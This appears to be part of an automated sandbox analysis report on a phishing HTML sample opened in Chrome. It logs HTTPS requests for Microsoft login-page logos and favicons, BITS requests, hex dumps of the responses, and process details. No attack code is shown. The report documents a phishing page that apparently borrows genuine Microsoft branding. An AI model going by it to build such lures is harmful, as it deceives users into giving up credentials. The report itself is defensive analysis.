                                  2024-01-31 13:44:30 UTC620OUTGET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1
                                  Host: logincdn.msauth.net
                                  Connection: keep-alive
                                  sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
                                  sec-ch-ua-mobile: ?0
                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                  sec-ch-ua-platform: "Windows"
                                  Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
                                  Sec-Fetch-Site: cross-site
                                  Sec-Fetch-Mode: no-cors
                                  Sec-Fetch-Dest: image
                                  Accept-Encoding: gzip, deflate, br
                                  Accept-Language: en-US,en;q=0.9
                                  2024-01-31 13:44:30 UTC779INHTTP/1.1 200 OK
                                  Date: Wed, 31 Jan 2024 13:44:30 GMT
                                  Content-Type: image/svg+xml
                                  Content-Length: 1435
                                  Connection: close
                                  Cache-Control: public, max-age=31536000
                                  Content-Encoding: gzip
                                  Last-Modified: Wed, 22 Jan 2020 00:38:07 GMT
                                  ETag: 0x8D79ED359808AB6
                                  x-ms-request-id: da5bafbd-b01e-0000-119b-523773000000
                                  x-ms-version: 2009-09-19
                                  x-ms-lease-status: unlocked
                                  x-ms-blob-type: BlockBlob
                                  Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
                                  Access-Control-Allow-Origin: *
                                  x-azure-ref: 20240131T134430Z-rr5bh4r6wd46p4muzzky0vh7f40000000210000000000ecf
                                  x-fd-int-roxy-purgeid: 0
                                  X-Cache: TCP_HIT
                                  Accept-Ranges: bytes
                                  2024-01-31 13:44:30 UTC1435INData Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5
                                  Data Ascii: WMo7+uVHJ{&v(QFaWQ|~|{~b{8zv8|bgxby{x<\lSppl7o}vtrr|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h


                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                  5192.168.2.44973813.107.246.51443C:\Program Files\Google\Chrome\Application\chrome.exe
                                  TimestampkBytes transferredDirectionData
                                  2024-01-31 13:44:30 UTC420OUTGET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1
                                  Host: logincdn.msauth.net
                                  Connection: keep-alive
                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                  Accept: */*
                                  Sec-Fetch-Site: none
                                  Sec-Fetch-Mode: cors
                                  Sec-Fetch-Dest: empty
                                  Accept-Encoding: gzip, deflate, br
                                  Accept-Language: en-US,en;q=0.9
                                  2024-01-31 13:44:30 UTC779INHTTP/1.1 200 OK
                                  Date: Wed, 31 Jan 2024 13:44:30 GMT
                                  Content-Type: image/svg+xml
                                  Content-Length: 1435
                                  Connection: close
                                  Cache-Control: public, max-age=31536000
                                  Content-Encoding: gzip
                                  Last-Modified: Wed, 22 Jan 2020 00:38:07 GMT
                                  ETag: 0x8D79ED359808AB6
                                  x-ms-request-id: da5bafbd-b01e-0000-119b-523773000000
                                  x-ms-version: 2009-09-19
                                  x-ms-lease-status: unlocked
                                  x-ms-blob-type: BlockBlob
                                  Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
                                  Access-Control-Allow-Origin: *
                                  x-azure-ref: 20240131T134430Z-7zpv6s0vgt2kpfgx4p4cc875nw00000003u0000000009w47
                                  x-fd-int-roxy-purgeid: 0
                                  X-Cache: TCP_HIT
                                  Accept-Ranges: bytes
                                  2024-01-31 13:44:30 UTC1435INData Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5
                                  Data Ascii: WMo7+uVHJ{&v(QFaWQ|~|{~b{8zv8|bgxby{x<\lSppl7o}vtrr|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h


                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                  6192.168.2.44973913.107.246.40443C:\Program Files\Google\Chrome\Application\chrome.exe
                                  TimestampkBytes transferredDirectionData
                                  2024-01-31 13:44:30 UTC576OUTGET /16.000.28510.6/images/favicon.ico HTTP/1.1
                                  Host: logincdn.msauth.net
                                  Connection: keep-alive
                                  sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"
                                  sec-ch-ua-mobile: ?0
                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                  sec-ch-ua-platform: "Windows"
                                  Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
                                  Sec-Fetch-Site: cross-site
                                  Sec-Fetch-Mode: no-cors
                                  Sec-Fetch-Dest: image
                                  Accept-Encoding: gzip, deflate, br
                                  Accept-Language: en-US,en;q=0.9
                                  2024-01-31 13:44:31 UTC738INHTTP/1.1 200 OK
                                  Date: Wed, 31 Jan 2024 13:44:30 GMT
                                  Content-Type: image/x-icon
                                  Content-Length: 17174
                                  Connection: close
                                  Cache-Control: public, max-age=31536000
                                  Last-Modified: Tue, 25 Feb 2020 22:59:37 GMT
                                  ETag: 0x8D7BA4663A17FF4
                                  x-ms-request-id: 0cc9a09e-101e-001a-1e32-548944000000
                                  x-ms-version: 2009-09-19
                                  x-ms-lease-status: unlocked
                                  x-ms-blob-type: BlockBlob
                                  Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
                                  Access-Control-Allow-Origin: *
                                  x-azure-ref: 20240131T134430Z-ecymkpg23112b33df8zpd4u0xn00000004xg000000005cnv
                                  x-fd-int-roxy-purgeid: 0
                                  X-Cache: TCP_HIT
                                  Accept-Ranges: bytes
                                  2024-01-31 13:44:31 UTC15646INData Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
                                  Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
                                  2024-01-31 13:44:31 UTC1528INData Raw: 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22
                                  Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""


                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                  7192.168.2.44974213.107.246.51443C:\Program Files\Google\Chrome\Application\chrome.exe
                                  TimestampkBytes transferredDirectionData
                                  2024-01-31 13:44:31 UTC376OUTGET /16.000.28510.6/images/favicon.ico HTTP/1.1
                                  Host: logincdn.msauth.net
                                  Connection: keep-alive
                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
                                  Accept: */*
                                  Sec-Fetch-Site: none
                                  Sec-Fetch-Mode: cors
                                  Sec-Fetch-Dest: empty
                                  Accept-Encoding: gzip, deflate, br
                                  Accept-Language: en-US,en;q=0.9
                                  2024-01-31 13:44:31 UTC738INHTTP/1.1 200 OK
                                  Date: Wed, 31 Jan 2024 13:44:31 GMT
                                  Content-Type: image/x-icon
                                  Content-Length: 17174
                                  Connection: close
                                  Cache-Control: public, max-age=31536000
                                  Last-Modified: Tue, 25 Feb 2020 22:59:37 GMT
                                  ETag: 0x8D7BA4663A17FF4
                                  x-ms-request-id: 0cc9a09e-101e-001a-1e32-548944000000
                                  x-ms-version: 2009-09-19
                                  x-ms-lease-status: unlocked
                                  x-ms-blob-type: BlockBlob
                                  Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
                                  Access-Control-Allow-Origin: *
                                  x-azure-ref: 20240131T134431Z-z3z7p86g2d4y77bby1crdhf02g00000001z0000000009q9m
                                  x-fd-int-roxy-purgeid: 0
                                  X-Cache: TCP_HIT
                                  Accept-Ranges: bytes
                                  2024-01-31 13:44:31 UTC15646INData Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
                                  Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
                                  2024-01-31 13:44:31 UTC1528INData Raw: 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22
                                  Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""


                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                  8192.168.2.44974523.209.58.93443
                                  TimestampkBytes transferredDirectionData
                                  2024-01-31 13:44:33 UTC161OUTHEAD /fs/windows/config.json HTTP/1.1
                                  Connection: Keep-Alive
                                  Accept: */*
                                  Accept-Encoding: identity
                                  User-Agent: Microsoft BITS/7.8
                                  Host: fs.microsoft.com
                                  2024-01-31 13:44:33 UTC533INHTTP/1.1 200 OK
                                  Content-Type: application/octet-stream
                                  Last-Modified: Tue, 16 May 2017 22:58:00 GMT
                                  ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7"
                                  X-Ms-ApiVersion: Distribute 1.2
                                  X-Ms-Region: prod-eus2-z1
                                  Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json
                                  X-MSEdge-Ref: Ref A: 672C92A318964E229486A8523D8DFF69 Ref B: BLUEDGE1810 Ref C: 2024-01-29T22:52:44Z
                                  Cache-Control: public, max-age=119268
                                  Date: Wed, 31 Jan 2024 13:44:33 GMT
                                  Connection: close
                                  X-CID: 2


                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                  9192.168.2.44974623.209.58.93443
                                  TimestampkBytes transferredDirectionData
                                  2024-01-31 13:44:33 UTC239OUTGET /fs/windows/config.json HTTP/1.1
                                  Connection: Keep-Alive
                                  Accept: */*
                                  Accept-Encoding: identity
                                  If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT
                                  Range: bytes=0-2147483646
                                  User-Agent: Microsoft BITS/7.8
                                  Host: fs.microsoft.com
                                  2024-01-31 13:44:33 UTC661INHTTP/1.1 200 OK
                                  Last-Modified: Tue, 16 May 2017 22:58:00 GMT
                                  ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7"
                                  ApiVersion: Distribute 1.1
                                  Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json
                                  X-CID: 7
                                  X-CCC: US
                                  X-Azure-Ref-OriginShield: Ref A: 58A8032E0A184202AC9E973C7E16DFBF Ref B: CH1AA2040904025 Ref C: 2023-07-09T06:25:19Z
                                  X-MSEdge-Ref: Ref A: 3FB884FE27194F46821180A0235E838A Ref B: CHI30EDGE0308 Ref C: 2023-07-09T06:26:49Z
                                  Content-Type: application/octet-stream
                                  Cache-Control: public, max-age=65499
                                  Date: Wed, 31 Jan 2024 13:44:33 GMT
                                  Content-Length: 55
                                  Connection: close
                                  X-CID: 2
                                  2024-01-31 13:44:33 UTC55INData Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d
                                  Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}


                                  Statistics

                                  CPU Usage

                                  Click to jump to process

                                  Memory Usage

                                  Click to jump to process

                                  Behavior

                                  Click to jump to process

                                  System Behavior

                                  General

                                  Target ID:0
                                  Start time:14:44:24
                                  Start date:31/01/2024
                                  Path:C:\Program Files\Google\Chrome\Application\chrome.exe
                                  Wow64 process (32bit):false
                                  Commandline:C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\malicious@sample.phishing.file.html
                                  Imagebase:0x7ff76e190000
                                  File size:3'242'272 bytes
                                  MD5 hash:45DE480806D1B5D462A7DDE4DCEFC4E4
                                  Has elevated privileges:true
                                  Has administrator privileges:true
                                  Programmed in:C, C++ or other language
                                  Reputation:low
                                  Has exited:false

                                  General

                                  Target ID:2
                                  Start time:14:44:25
                                  Start date:31/01/2024
                                  Path:C:\Program Files\Google\Chrome\Application\chrome.exe
                                  Wow64 process (32bit):false
                                  Commandline:"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2376 --field-trial-handle=2312,i,9019154639734182260,6881670019935364994,262144 /prefetch:8
                                  Imagebase:0x7ff7699e0000
                                  File size:3'242'272 bytes
                                  MD5 hash:45DE480806D1B5D462A7DDE4DCEFC4E4
                                  Has elevated privileges:true
                                  Has administrator privileges:true
                                  Programmed in:C, C++ or other language
                                  Reputation:low
                                  Has exited:false

                                  Disassembly

                                  ⊘No disassembly